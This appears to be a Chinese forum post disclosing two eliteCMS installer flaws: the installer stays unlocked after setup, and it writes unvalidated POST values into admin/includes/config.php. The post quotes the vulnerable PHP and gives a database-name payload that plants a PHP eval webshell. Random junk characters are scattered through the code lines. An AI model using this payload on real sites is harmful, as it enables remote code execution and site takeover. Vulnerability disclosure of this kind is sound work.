eliteCMS安装文件未验证 + 一句话写入安全漏洞

admin

eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装
3 P0 I3 N' R7 q( L' I
另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
我们来看代码：

...
0 B9 j" c( r* B7 H: C: l" j/ lelseif ($_GET['step'] == "4") {
2 r' `  ^$ L. a: U) o9 Q" O5 w6 O    $file = "../admin/includes/config.php";
. x# w8 M+ @4 P, V    $write = "<?php\n";
7 i8 @8 z( ^# L! H    $write .= "/**\n";
5 l- A' p7 i2 o, e; r8 \3 q7 t    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
...略...
    $write .= "*\n";
- I# ]6 X7 m/ Q2 i0 Q    $write .= "*/\n";
    $write .= "\n";
0 A/ W. D8 @' S5 J5 Q    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
" d1 {* X& t2 S    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
5 ~' M5 j) R9 l8 q) r6 B    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
, \" U& K% f8 Q: w2 G/ m$ M9 ~    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
# N4 g& K  ^, K. n2 q    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
    $write .= "        \n";
! P2 @! C. b: {$ B8 s    $write .= "} \n";
" u) U& g: y1 s# r) K    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
+ i5 O4 z: y6 t7 X    $write .= "if (!\$db_select) {\n";
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
2 y. l8 \: n' J1 |0 m6 ^8 n" D    $write .= "?>\n";

# ?$ w( l# B& ]6 g  B+ B% z    $writer = fopen($file, 'w');
8 K6 S; ^5 r, v0 q$ t% H% c...

' p# U2 n: E4 a$ ?& l在看代码：
4 Y/ \& \0 \+ e5 W: X: p* J0 j8 X3 `
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
% C2 A) T/ V6 p0 P: v* K$ w/ x3 \$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
  }" Q. F# K" T9 q2 z1 W
取值未作任何验证
如果将数据库名POST数据：

2 r8 Z! {6 I, w; J3 R"?><?php eval($_POST[c]);?><?php
8 a2 h$ e' H/ C& |! s
将导致一句话后门写入/admin/includes/config.php